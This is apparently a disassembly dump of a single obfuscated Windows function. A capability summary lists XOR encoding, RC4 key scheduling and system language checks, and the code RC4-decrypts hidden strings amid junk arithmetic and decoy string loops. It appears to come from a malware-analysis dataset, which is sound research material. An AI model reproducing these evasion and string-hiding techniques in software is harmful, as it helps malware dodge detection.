Function at 0x643c8ce0
Capabilities:
Accept command line arguments
Encode data using xor
Encrypt data using rc4 ksa
Identify system language via api

Disassembly:
push ebp
mov ecx, 0x22
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x464]
mov esi, 0x643eb934
push ebx
sub esp, 0x55c
rep movsb byte es:[edi], byte [esi]
mov dword [esp], str.Filename_Extension
lea edi, [ebp - 0x47f]
mov esi, 0x643eb956
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, 0x1b
push ebx
mov eax, dword [0x643e82c8]
rep movsb byte es:[edi], byte [esi]
mov ecx, str.Filename_Extension
and eax, 0xa3681fdf
imul edx, eax, 0x8d4a77e3
mov dword [0x643e82c8], edx
mov bl, byte [ecx]
lea edx, [ebx - 0x30]
cmp dl, 9
ja 0x643c8d46
inc ecx
jmp 0x643c8d39
imul eax, eax, 0x4fae4f46
mov dword [0x643e7ddc], eax
call fcn.643d43c0
mov esi, dword [0x643e7ddc]
xor eax, eax
mov byte [ebp + eax - 0x318], al
inc eax
cmp eax, 0x100
jne 0x643c8d5e
xor ebx, ebx
xor ecx, ecx
mov edi, 0x1a
mov al, byte [ebp + ecx - 0x318]
xor edx, edx
mov byte [ebp - 0x52c], al
mov eax, ecx
div edi
movzx eax, byte [ebp + edx - 0x47f]
movzx edx, byte [ebp - 0x52c]
add eax, edx
mov dl, byte [ebp - 0x52c]
add ebx, eax
movzx ebx, bl
mov al, byte [ebp + ebx - 0x318]
mov byte [ebp + ecx - 0x318], al
inc ecx
mov eax, esi
and esi, 0x3b61d308
mov byte [ebp + ebx - 0x318], dl
cmp ecx, 0x100
jne 0x643c8d76
add eax, 0x514bae7b
xor edi, edi
xor esi, esi
xor ebx, ebx
mov dword [0x643e82c8], eax
inc ebx
movzx ebx, bl
mov cl, byte [ebp + ebx - 0x318]
lea eax, [ecx + esi]
movzx esi, al
mov al, byte [ebp + esi - 0x318]
mov byte [ebp + ebx - 0x318], al
mov byte [ebp + esi - 0x318], cl
add cl, byte [ebp + ebx - 0x318]
movzx ecx, cl
mov al, byte [ebp + ecx - 0x318]
mov byte [ebp - 0x52c], al
mov eax, dword [0x643e82c8]
or eax, 0xde93a17
xor eax, 0x48ff482f
mov dword [0x643e7ddc], eax
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push ecx
imul eax, dword [0x643e82c8], 0xe3199f13
mov dword [0x643e7ddc], eax
call fcn.643d00dc
mov al, byte [ebp - 0x52c]
xor al, byte [ebp + edi - 0x464]
movzx eax, al
mov word [ebp + edi*2 - 0x3f4], ax
inc edi
cmp edi, 0x22
jne 0x643c8ddb
mov word [ebp - 0x3b0], 0
lea edi, [ebp - 0x4a7]
mov esi, 0x643eb971
xor eax, eax
mov ecx, 0x13
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x4d4]
mov esi, str.Objects__4u
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jne 0x643c8e9b
xor eax, eax
cmp byte [eax + str.Filename_Extension], 0
je 0x643c8ece
inc eax
cmp eax, 0x265
jne 0x643c8eac
mov eax, dword [0x643e82c8]
or eax, 0x21174be6
mov dword [0x643e7ddc], eax
jmp 0x643c8ed5
cmp eax, 0x1a0
jle 0x643c8eeb
call fcn.643cdd78
mov eax, dword [0x643e82c8]
and eax, 0x1b4c31af
mov dword [0x643e7ddc], eax
jmp 0x643c8ef5
add dword [0x643e82c8], 0x63ac9ad7
add dword [0x643e82c8], 0xb045ca1
xor eax, eax
cmp word [eax + str.Microsoft.Windows.NTVDM], 0
je 0x643c8f25
add eax, 2
cmp eax, 0x35e8
jne 0x643c8f01
and dword [0x643e7ddc], 0x2e4c037c
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x643e7ddc]
xor esi, esi
xor ecx, ecx
or eax, 0xfb1c23ce
xor eax, 0xf9441c7
mov dword [0x643e7ddc], eax
mov edi, eax
mov eax, dword [0x643e82c8]
add eax, 0x4ee443ca
mov dword [ebp - 0x530], eax
mov al, byte [ebp + ecx - 0x218]
mov ebx, 0xb
xor edx, edx
mov byte [ebp - 0x52c], al
mov eax, ecx
div ebx
movzx eax, byte [ebp + edx - 0x4d4]
movzx edx, byte [ebp - 0x52c]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x218]
mov byte [ebp + ecx - 0x218], al
mov al, byte [ebp - 0x52c]
inc ecx
mov byte [ebp + esi - 0x218], al
cmp ecx, 0x100
jne 0x643c8f4f
mov eax, dword [ebp - 0x530]
or eax, 0x131f5ad4
mov dword [0x643e82c8], eax
xor eax, eax
cmp byte [eax + str.The_account_is_not_authorized_to_login_from_this_station.], 0
je 0x643c8fe6
inc eax
cmp eax, 0x137b
jne 0x643c8fb3
mov dword [esp + 8], edi
mov dword [esp + 4], str.Microsoft.Windows.NTVDM
mov dword [esp], str.Filename_Extension
call fcn.643ce2a4
sub dword [0x643e82c8], 0x552c1bd1
mov eax, dword [0x643e82c8]
xor edi, edi
xor esi, esi
xor ebx, ebx
mov edx, eax
imul eax, eax, 0x6cea25e
and edx, 0xed57c51f
mov dword [0x643e7ddc], edx
mov dword [0x643e82c8], eax
sub dword [0x643e82c8], 0x2a3e08ac
inc ebx
movzx ebx, bl
mov al, byte [ebp + ebx - 0x218]
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0x218]
mov byte [ebp + ebx - 0x218], dl
xor edx, edx
mov byte [ebp + esi - 0x218], al
cmp byte [edx + str.The_account_is_not_authorized_to_login_from_this_station.], 0
je 0x643c905a
inc edx
cmp edx, 0xcb3
jne 0x643c903c
and dword [0x643e7ddc], 0x9227c4b1
jmp 0x643c9062
cmp edx, 0x276
jle 0x643c9073
mov byte [ebp - 0x52c], al
call fcn.643cf3f4
mov al, byte [ebp - 0x52c]
mov edx, dword [0x643e82c8]
add al, byte [ebp + ebx - 0x218]
movzx eax, al
imul ecx, edx, 0x7e41bd7d
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + edi - 0x4a7]
movzx eax, al
mov word [ebp + edi*2 - 0x442], ax
inc edi
mov dword [0x643e7ddc], ecx
cmp edi, 0x13
jne 0x643c900a
sub edx, 0x7b03f359
mov esi, 0x643eb990
mov ecx, 0xa
mov dword [ebp - 0x4e9], 0x6f676553
mov dword [ebp - 0x4e5], 0x49552065
lea edi, [ebp - 0x41c]
mov byte [ebp - 0x4e1], 0
mov word [ebp - 0x41c], 0
rep movsd dword es:[edi], dword [esi]
mov dword [0x643e7ddc], edx
mov ecx, 0x7af
mov edx, str.Filename_Extension
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c911f
add ecx, eax
cmp ecx, 0x2630
jbe 0x643c90fe
call fcn.643cf3f4
sub dword [0x643e7ddc], 0xd50bb51
xor dword [0x643e82c8], 0x9121f398
mov dword [esp], str.TimeDateStamp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edx
mov eax, dword [0x643e7ddc]
and eax, 0x7eabe14
mov dword [0x643e82c8], eax
call fcn.643cdd78
mov eax, dword [0x643e82c8]
mov edx, eax
or eax, 0x2233c9
and edx, 0x4f3b28e0
add eax, 0x5f7c1624
or edx, 0x2220c0
mov dword [0x643e82c8], eax
xor eax, eax
mov dword [0x643e7ddc], edx
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x643c9175
xor edi, edi
xor esi, esi
mov eax, esi
mov bl, byte [ebp + esi - 0x118]
and eax, 7
mov cl, byte [ebp + eax - 0x4e9]
add ecx, ebx
mov eax, ecx
add eax, edi
movzx edi, al
xor eax, eax
cmp byte [eax + str.Filename_Extension], 0
je 0x643c91d3
inc eax
cmp eax, 0x2323
jne 0x643c91a6
mov eax, dword [0x643e82c8]
mov dword [esp], eax
call fcn.643cdca4
mov eax, dword [0x643e7ddc]
and eax, 0xd5683a77
mov dword [0x643e82c8], eax
mov eax, dword [0x643e82c8]
and eax, 0x57463cae
mov dword [0x643e7ddc], eax
add eax, 0x304d31ab
mov dword [0x643e82c8], eax
call fcn.643ce5d4
imul eax, dword [0x643e7ddc], 0x48ed3a06
mov dword [0x643e7ddc], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + esi - 0x118], al
mov eax, dword [0x643e7ddc]
inc esi
mov byte [ebp + edi - 0x118], bl
sub eax, 0x299451b7
mov dword [0x643e82c8], eax
or eax, 0x128af5d6
imul eax, eax, 0x93e47087
mov dword [0x643e7ddc], eax
cmp esi, 0x100
jne 0x643c9188
or eax, 0x6b9b2dbd
xor edi, edi
xor esi, esi
xor ebx, ebx
mov dword [0x643e7ddc], eax
xor eax, eax
cmp byte [eax + str.The_account_is_not_authorized_to_login_from_this_station.], 0
je 0x643c9276
inc eax
cmp eax, 0xcb7
jne 0x643c9259
xor dword [0x643e82c8], 0x9de9ef71
jmp 0x643c927d
cmp eax, 0xc39
jle 0x643c9282
call fcn.643cdd78
mov eax, dword [0x643e7ddc]
inc ebx
movzx ebx, bl
add eax, 0x2f7c24cd
and eax, 0xaac05990
mov dword [0x643e82c8], eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.Microsoft.Windows.NTVDM
mov dword [esp], str.The_account_is_not_authorized_to_login_from_this_station.
call fcn.643ce2a4
mov cl, byte [ebp + ebx - 0x118]
lea eax, [ecx + esi]
mov byte [ebp - 0x52c], cl
movzx esi, al
mov eax, dword [0x643e7ddc]
mov cl, byte [ebp + esi - 0x118]
mov edx, eax
and eax, 0xde0e7ffc
or eax, 0xe18c1e7f
xor edx, 0xa259e742
mov byte [ebp + ebx - 0x118], cl
xor eax, 0xe8063562
mov dword [0x643e7ddc], edx
mov dword [0x643e82c8], eax
mov dword [esp], edx
call fcn.643cdca4
mov cl, byte [ebp - 0x52c]
mov edx, dword [0x643e82c8]
mov byte [ebp + esi - 0x118], cl
mov al, byte [ebp + ebx - 0x118]
and edx, 0x55a77377
mov dword [0x643e7ddc], edx
add eax, ecx
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebp + edi - 0x41c]
movzx eax, al
mov word [ebp + edi*2 - 0x368], ax
inc edi
cmp edi, 0x28
jne 0x643c9257
xor eax, eax
cmp word [eax + eax + str.Microsoft.Windows.NTVDM], 0
je 0x643c937e
inc eax
cmp eax, 0x22f4
jne 0x643c9352
mov dword [esp], edx
call fcn.643d47ac
mov eax, dword [0x643e82c8]
xor eax, 0xd3b062b6
mov dword [0x643e7ddc], eax
jmp 0x643c9385
cmp eax, 0xfc
jle 0x643c938a
call fcn.643ce5d4
mov eax, dword [0x643e82c8]
lea edi, [ebp - 0x494]
mov esi, 0x643d5144
imul edx, eax, 0x4e37af75
mov dword [0x643e7ddc], edx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push eax
mov eax, dword [0x643e82c8]
mov word [ebp - 0x318], 0
sub eax, 0x27dae30
mov dword [0x643e7ddc], eax
or eax, 0xa105fd89
mov dword [0x643e82c8], eax
call fcn.643d00dc
mov ecx, 5
mov eax, dword [0x643e7ddc]
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov ebx, ecx
sub ebx, dword [ebp + edx*4 - 0x494]
inc edx
xor eax, 0x6e4220e3
mov ecx, ebx
cmp edx, 5
jne 0x643c93e5
lea ecx, [eax + 0x4e05662c]
mov dword [0x643e7ddc], eax
mov esi, str.Filename_Extension
mov dword [0x643e82c8], ecx
mov dl, byte [esi]
test dl, dl
je 0x643c9430
sub edx, 0x30
cmp dl, 9
jbe 0x643c942d
xor ecx, 0x82881c5d
mov dword [0x643e82c8], ecx
jmp 0x643c9430
inc esi
jmp 0x643c9411
and dword [0x643e82c8], 0x1f1e1a0f
mov dword [esp + 8], eax
mov dword [esp + 4], str.Application_Full_Path
mov dword [esp], str.The_account_is_not_authorized_to_login_from_this_station.
call fcn.643ce2a4
mov edx, str.Application_Full_Path
mov ecx, 0x85e
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x643c9471
add ecx, eax
cmp ecx, 0x1f5a
jbe 0x643c945c
mov eax, dword [0x643e82c8]
xor edi, edi
mov esi, 0x29
mov dword [ebp - 0x50c], 0x38
mov dword [ebp - 0x508], 0xffffff9f
sub eax, 0x485b5f70
mov dword [0x643e7ddc], eax
mov edx, str.The_account_is_not_authorized_to_login_from_this_station.
mov ecx, 0x1bc3
movsx eax, byte [edx]
inc edx
test al, al
je 0x643c94cb
add ecx, eax
cmp ecx, 0x1c88
jbe 0x643c94a5
call fcn.643cf3f4
mov eax, dword [0x643e82c8]
or eax, 0x38b9abf3
mov dword [0x643e7ddc], eax
mov eax, dword [0x643e7ddc]
xor dword [0x643e82c8], 0x146c2572
and eax, 0x318910de
mov dword [0x643e7ddc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.Microsoft.Windows.NTVDM
mov dword [esp], str.Filename_Extension
call fcn.643ce2a4
add esi, dword [ebp + edi*4 - 0x50c]
mov dword [ebp - 0x52c], esi
test edi, edi
jne 0x643c9514
mov edi, 1
jmp 0x643c949b
mov eax, dword [0x643e7ddc]
mov edx, str.Microsoft.Windows.NTVDM
mov ecx, 0xf7
or eax, 0x4b4edd9
mov dword [0x643e82c8], eax
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x643c9556
add ecx, eax
cmp ecx, 0x832
jbe 0x643c952d
call fcn.643ce5d4
mov eax, dword [0x643e82c8]
xor eax, 0xf5214d50
mov dword [0x643e7ddc], eax
mov eax, dword [0x643e7ddc]
mov esi, str.Filename_Extension
mov edi, 0x1598
lea edx, [eax + 0x65a22ce]
movzx ecx, byte [esi]
inc esi
test cl, cl
je 0x643c9589
add edi, ecx
cmp edi, 0x1ee9
jbe 0x643c956b
add eax, 0x38ab3474
or eax, 0x92f8e0eb
jmp 0x643c958f
imul eax, eax, 0xb3c35742
mov dword [0x643e7ddc], eax
imul eax, edx, 0x81bb180e
lea edi, [ebp - 0x4c8]
mov esi, 0x643d5158
mov dword [0x643e82c8], eax
mov dword [esp], eax
call fcn.643d47ac
mov eax, dword [0x643e82c8]
sub eax, 0x70d9563c
mov dword [0x643e7ddc], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 4
sub dword [0x643e7ddc], 0x13615018
rep movsd dword es:[edi], dword [esi]
xor esi, esi
xor edi, edi
call fcn.643cf9a4
sub dword [0x643e82c8], 0x6d249010
mov dword [esp + 4], str.Application_Full_Path
mov dword [esp], str.Filename_Extension
call fcn.643cec3c
imul eax, dword [0x643e7ddc], 0xef1d5cb8
or dword [0x643e82c8], 0x58d23d6f
mov dword [0x643e7ddc], eax
xor eax, eax
cmp word [eax + str.Microsoft.Windows.NTVDM], 0
je 0x643c963b
add eax, 2
cmp eax, 0x413a
jne 0x643c961a
mov eax, dword [0x643e82c8]
mov dword [esp], eax
call fcn.643cdca4
mov eax, dword [0x643e7ddc]
imul edx, eax, 0x298ff51c
and eax, 0x690d9392
mov dword [0x643e7ddc], eax
mov dword [0x643e82c8], edx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.643ce0c0
mov eax, dword [0x643e82c8]
sub edi, dword [ebp + esi*4 - 0x4c8]
inc esi
mov dword [ebp - 0x530], edi
and eax, 0xc14c0547
mov dword [0x643e82c8], eax
or eax, 0x8681c0ce
mov dword [0x643e7ddc], eax
cmp esi, 4
jne 0x643c9618
xor eax, eax
cmp word [eax + str.Application_Full_Path], 0
je 0x643c96c2
add eax, 2
cmp eax, 0x233a
jne 0x643c9690
call fcn.643cf3f4
mov eax, dword [0x643e7ddc]
or eax, 0x1021e230
mov dword [0x643e82c8], eax
mov dword [esp], eax
call dword [sym.imp.USER32.dll_IsZoomed]
push eax
mov eax, dword [0x643e82c8]
mov ecx, str.Filename_Extension
sub eax, 0x5c833cf3
xor eax, 0xfaa8332c
imul eax, eax, 0x56820ed3
mov dword [0x643e82c8], eax
mov dl, byte [ecx]
test dl, dl
je 0x643c96fe
sub edx, 0x30
cmp dl, 9
jbe 0x643c96fb
sub eax, 0x5eda0274
mov dword [0x643e82c8], eax
jmp 0x643c96fe
inc ecx
jmp 0x643c96e1
mov eax, dword [0x643e82c8]
mov ecx, str.Filename_Extension
movzx esi, byte [ecx]
lea edx, [esi - 0x30]
cmp dl, 9
ja 0x643c9716
inc ecx
jmp 0x643c9708
add eax, 0x58c7b66c
mov dword [0x643e82c8], eax
xor eax, 0x81e588c6
mov dword [0x643e7ddc], eax
call fcn.643ce5d4
mov edx, str.The_account_is_not_authorized_to_login_from_this_station.
mov ecx, 0xeab
movsx eax, byte [edx]
inc edx
test al, al
je 0x643c975a
add ecx, eax
cmp ecx, 0x2672
jbe 0x643c9739
imul eax, dword [0x643e82c8], 0x31e4e63f
mov dword [0x643e7ddc], eax
mov eax, dword [0x643e7ddc]
lea edi, [ebp - 0x4b8]
mov esi, 0x643d5168
sub eax, 0x16f70f92
mov dword [0x643e82c8], eax
mov dword [esp], eax
call fcn.643d47ac
mov eax, dword [0x643e82c8]
and eax, 0xddb3e3ee
lea edx, [eax - 0x48daa1c]
add eax, 0x49e64ca
and eax, 0x2182cb3b
mov dword [0x643e82c8], edx
mov dword [0x643e7ddc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.Microsoft.Windows.NTVDM
mov dword [esp], str.Filename_Extension
call fcn.643ce2a4
mov ecx, 4
xor edx, edx
rep movsd dword es:[edi], dword [esi]
xor edi, edi
xor eax, eax
cmp byte [eax + str.Filename_Extension], 0
je 0x643c97e4
inc eax
cmp eax, 0x30
jne 0x643c97c6
mov eax, dword [0x643e82c8]
and eax, 0xa42279a2
mov dword [0x643e7ddc], eax
imul eax, dword [0x643e7ddc], 0x18332ffd
mov dword [ebp - 0x534], edx
mov dword [0x643e7ddc], eax
call fcn.643d2310
mov esi, dword [ebp - 0x534]
sub esi, dword [ebp + edi*4 - 0x4b8]
inc edi
mov edx, esi
cmp edi, 4
jne 0x643c97c4
mov eax, dword [0x643e7ddc]
xor eax, 0xaccae4fe
sub eax, 0x133b74a9
mov edx, eax
and eax, 0x9871b4f8
or edx, 0x4a2907bf
or eax, 0x82104b8
mov dword [0x643e7ddc], edx
mov dword [0x643e82c8], eax
call fcn.643cf9a4
mov eax, dword [0x643e7ddc]
add eax, 0x45d84285
or eax, 0x40e9ab43
mov dword [0x643e7ddc], eax
mov eax, dword [0x643e82c8]
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.643ce0c0
imul eax, dword [0x643e82c8], 0x6072a7fc
lea edx, [eax + 0x17d63bf1]
sub eax, 0x62f1f38
mov dword [0x643e82c8], edx
mov dword [0x643e7ddc], eax
mov dword [esp], eax
call fcn.643cdca4
mov edx, str.Filename_Extension
mov ecx, 0x4be
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c98b9
add ecx, eax
cmp ecx, 0x1d98
jbe 0x643c989b
mov eax, dword [0x643e82c8]
sub eax, 0x56e4dee9
jmp 0x643c98c3
mov eax, dword [0x643e82c8]
xor eax, 0xa3689b36
lea edx, [eax + 0x2b89bb73]
mov dword [0x643e82c8], eax
mov edi, 0xe10
mov dword [0x643e7ddc], edx
mov dword [esp], eax
call fcn.643cdca4
call fcn.643cffb4
mov eax, dword [0x643e82c8]
mov edx, eax
add eax, 0x1e215ffc
and edx, 0xfc582614
and eax, 0xaa9dc37f
mov dword [0x643e7ddc], edx
mov dword [0x643e82c8], eax
call fcn.643ce5d4
add dword [0x643e82c8], 0x4eb0285e
call fcn.643cffb4
mov eax, dword [0x643e82c8]
mov edx, eax
add eax, 0x1e215ffc
and edx, 0xfc582614
and eax, 0xaa9dc37f
mov dword [0x643e7ddc], edx
mov dword [0x643e82c8], eax
call fcn.643ce5d4
mov eax, dword [0x643e82c8]
add eax, 0x4eb0285e
imul eax, eax, 0x8cf46851
xor eax, 0x20f6fa65
mov dword [0x643e82c8], eax
call fcn.643d00dc
mov eax, dword [0x643e82c8]
and eax, 0x7e578039
mov dword [0x643e7ddc], eax
or eax, 0xde5c1a5d
mov dword [0x643e82c8], eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.643ce0c0
mov eax, dword [0x643e7ddc]
mov ecx, str.Microsoft.Windows.NTVDM
sub eax, 0x7d37ed81
movzx edx, word [ecx]
add ecx, 2
test dx, dx
je 0x643c99ab
add edi, edx
cmp edi, 0x1fd6
jbe 0x643c9996
mov edx, eax
xor eax, 0x6076c9e7
mov ecx, 0x1017
mov dword [0x643e7ddc], eax
xor edx, 0x404d0377
mov dword [0x643e82c8], edx
mov edx, str.Filename_Extension
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c99f3
add ecx, eax
cmp ecx, 0x1a83
jbe 0x643c99cd
mov dword [esp + 4], str.Application_Full_Path
mov dword [esp], str.The_account_is_not_authorized_to_login_from_this_station.
call fcn.643cec3c
mov eax, dword [0x643e82c8]
mov ecx, str.The_account_is_not_authorized_to_login_from_this_station.
mov edi, 0xcb7
xor eax, 0xd7f25ba3
add eax, 0x4a670982
or eax, 0x42619a69
imul eax, eax, 0xe78c0868
mov dword [0x643e7ddc], eax
movsx edx, byte [ecx]
inc ecx
test dl, dl
je 0x643c9a2e
add edi, edx
cmp edi, 0x140d
jbe 0x643c9a1c
add eax, 0x2f19c147
mov dword [0x643e82c8], eax
xor eax, eax
cmp word [eax + str.Application_Full_Path], 0
je 0x643c9a6c
add eax, 2
cmp eax, 0x1ca6
jne 0x643c9a3a
mov dword [esp + 4], str.Microsoft.Windows.NTVDM
mov dword [esp], str.Filename_Extension
call fcn.643cec3c
or dword [0x643e7ddc], 0x6e95d782
xor dword [0x643e82c8], 0xde23360
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x643e7ddc]
add eax, 0x3677d1bc
cmp byte [str.Filename_Extension], 0
mov dword [0x643e7ddc], eax
je 0x643c9ab0
mov edx, dword [0x643e82c8]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.643ce0c0
xor dword [0x643e82c8], 0x169b37d
imul eax, dword [0x643e82c8], 0xf633d693
mov dword [0x643e7ddc], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
or eax, 0x3bcfe216
mov dword [0x643e7ddc], eax
call fcn.643d2310
mov edx, dword [0x643e7ddc]
mov ecx, str.Filename_Extension
lea eax, [edx + 0x5d29d18a]
mov dword [0x643e7ddc], eax
mov al, byte [ecx]
test al, al
je 0x643c9b08
sub eax, 0x30
cmp al, 9
jbe 0x643c9b05
add edx, 0x7ac25898
mov dword [0x643e7ddc], edx
jmp 0x643c9b08
inc ecx
jmp 0x643c9aea
mov eax, dword [0x643e7ddc]
sub eax, 0x548b6625
mov dword [0x643e82c8], eax
call fcn.643d43c0
mov edx, str.Filename_Extension
mov ecx, 0x744
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c9b5f
add ecx, eax
cmp ecx, 0xc76
jbe 0x643c9b26
mov eax, dword [0x643e82c8]
xor eax, 0xeebbd9c6
mov dword [0x643e82c8], eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.Microsoft.Windows.NTVDM
mov dword [esp], str.Filename_Extension
call fcn.643ce2a4
mov eax, dword [0x643e82c8]
mov ecx, str.Microsoft.Windows.NTVDM
mov edi, 0x22a
or eax, 0xdefffbff
mov dword [0x643e7ddc], eax
movzx edx, word [ecx]
add ecx, 2
test dx, dx
je 0x643c9b97
add edi, edx
cmp edi, 0x1376
jbe 0x643c9b78
sub eax, 0x7db4044c
mov dword [0x643e7ddc], eax
mov eax, dword [0x643e7ddc]
xor eax, 0xe720a579
mov dword [0x643e82c8], eax
call fcn.643cdd78
lea eax, [ebp - 0x3f4]
sub dword [0x643e7ddc], 0x6657f1cf
mov dword [esp + 4], eax
lea eax, [ebp - 0x504]
mov dword [esp], eax
call fcn.643ccddc
mov edx, dword [0x643e82c8]
mov eax, edx
or eax, 0x7f611600
mov dword [0x643e7ddc], eax
xor eax, eax
cmp byte [eax + str.The_account_is_not_authorized_to_login_from_this_station.], 0
je 0x643c9c00
inc eax
cmp eax, 0x18c1
jne 0x643c9be1
imul edx, edx, 0xc3b4d07d
mov dword [0x643e7ddc], edx
jmp 0x643c9c07
cmp eax, 0x17a4
jle 0x643c9c0c
call fcn.643cf9a4
imul eax, dword [0x643e82c8], 0x901d6794
lea edi, [ebp - 0x4fc]
shl esi, 4
sub eax, 0x7f5f7b42
mov dword [0x643e82c8], eax
or eax, 0xa66e0db4
mov dword [0x643e7ddc], eax
mov dword [esp], 0xeea
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ecx
call fcn.643d2310
lea eax, [ebp - 0x442]
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.643ccddc
lea eax, [ebp - 0x368]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4f4]
mov dword [esp], eax
call fcn.643ccddc
mov dword [ebp - 0x51c], ebx
xor ebx, ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], 1
mov eax, dword [ebp - 0x52c]
mov dword [esp + 0xc], edi
lea edi, [ebp - 0x3ac]
mov dword [esp + 0x20], eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x4f4]
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [ebp - 0x504]
mov dword [esp + 4], eax
lea eax, [ebp - 0x51c]
mov dword [esp], eax
mov eax, dword [0x643d5094]
call dword [eax + 0x18]
xor eax, eax
mov ecx, 0x11
mov dword [ebp - 0x3b0], 0x48
rep stosd dword es:[edi], eax
sub esp, 0x2c
mov dword [esp], 0x34
call fcn.643cc6c0
mov ebx, eax
mov dword [eax], 0x34
mov eax, dword [ebp - 0x530]
shl eax, 4
mov dword [ebx + eax + 4], 0x20005
movzx eax, word [ebp - 0x504]
mov dword [ebx + esi + 8], eax
mov eax, dword [0x643e7ddc]
xor eax, 0x8f6486ac
mov dword [0x643e82c8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov eax, dword [ebp - 0x500]
mov dword [ebx + 0x14], 0x20010
mov dword [ebx + 0x18], 8
mov dword [ebx + 0xc], eax
xor eax, eax
mov dword [ebp - 0x518], eax
mov eax, dword [0x643e7ddc]
mov dword [ebp - 0x514], 0x1000
or eax, 0xc0e09ea5
mov dword [0x643e82c8], eax
lea eax, [ebp - 0x518]
mov dword [ebx + 0x1c], eax
call fcn.643cb57c
mov esi, eax
cmp eax, 0xffffffff
je 0x643c9fa7
test eax, eax
je 0x643c9fa7
mov eax, dword [0x643e7ddc]
sub eax, 0x9382a9b
cmp byte [str.Filename_Extension], 0
mov dword [0x643e82c8], eax
je 0x643c9db1
call fcn.643cffb4
mov eax, dword [0x643e7ddc]
or eax, 0x87cb7a1e
mov dword [0x643e82c8], eax
mov eax, dword [0x643e82c8]
mov edx, eax
or eax, 0x33dfbb59
or edx, 0x335db359
mov dword [0x643e7ddc], eax
mov dword [0x643e82c8], edx
call fcn.643ce5d4
mov eax, dword [0x643e7ddc]
sub eax, 0x614bae2d
mov dword [0x643e82c8], eax
call fcn.643cf3f4
mov edx, str.Microsoft.Windows.NTVDM
mov ecx, 0xc66
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x643c9e24
add ecx, eax
cmp ecx, 0x1ea4
jbe 0x643c9df1
mov eax, dword [0x643e7ddc]
lea edx, [eax + 0x478a764d]
imul eax, eax, 0x5872a27f
mov dword [0x643e82c8], edx
mov dword [0x643e7ddc], eax
jmp 0x643c9e2e
sub dword [0x643e82c8], 0x718f2d39
mov eax, dword [0x643e82c8]
mov edi, 0x756
add eax, 0x2f22465e
mov dword [0x643e82c8], eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.643ce0c0
mov ecx, dword [0x643e7ddc]
mov edx, str.Filename_Extension
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c9e77
add edi, eax
cmp edi, 0x12a3
jbe 0x643c9e59
and ecx, 0xa100849
mov dword [0x643e7ddc], ecx
mov eax, dword [0x643e7ddc]
or eax, 0xbbeb0e13
mov dword [0x643e82c8], eax
sub eax, 0x5d557596
cmp byte [str.Filename_Extension], 0
mov dword [0x643e7ddc], eax
je 0x643c9e9e
call fcn.643d00dc
mov eax, dword [0x643e82c8]
mov edx, eax
and eax, 0xa0860888
and edx, 0xfb960e88
mov dword [0x643e7ddc], eax
mov dword [0x643e82c8], edx
call fcn.643ce5d4
or dword [0x643e7ddc], 0x6d9e0950
call fcn.643cf3f4
add dword [0x643e82c8], 0x288914c
call fcn.643ce5d4
mov eax, dword [0x643e82c8]
mov edx, eax
add eax, 0x67c287a2
or edx, 0x6faf1fb6
mov dword [0x643e82c8], eax
xor eax, eax
mov dword [0x643e7ddc], edx
cmp word [eax + str.Microsoft.Windows.NTVDM], 0
je 0x643c9f28
add eax, 2
cmp eax, 0x2900
jne 0x643c9efd
mov dword [esp], edx
call fcn.643d47ac
mov eax, dword [0x643e82c8]
or eax, 0x15e5e892
mov dword [0x643e7ddc], eax
mov eax, dword [0x643e7ddc]
mov edi, 0x1f
mov dword [ebp - 0x4e0], 0x4c
mov dword [ebp - 0x4dc], 0x41
mov dword [ebp - 0x4d8], 0xffffff56
and eax, 0x9e17e7b3
imul eax, eax, 0xa6f605b2
mov dword [0x643e82c8], eax
xor eax, eax
imul edx, dword [0x643e82c8], 0x4c6c3f00
mov dword [ebp - 0x52c], eax
mov dword [0x643e7ddc], edx
call fcn.643ce5d4
mov eax, dword [ebp - 0x52c]
add edi, dword [ebp + eax*4 - 0x4e0]
inc eax
cmp eax, 3
jne 0x643c9f62
shl edi, 4
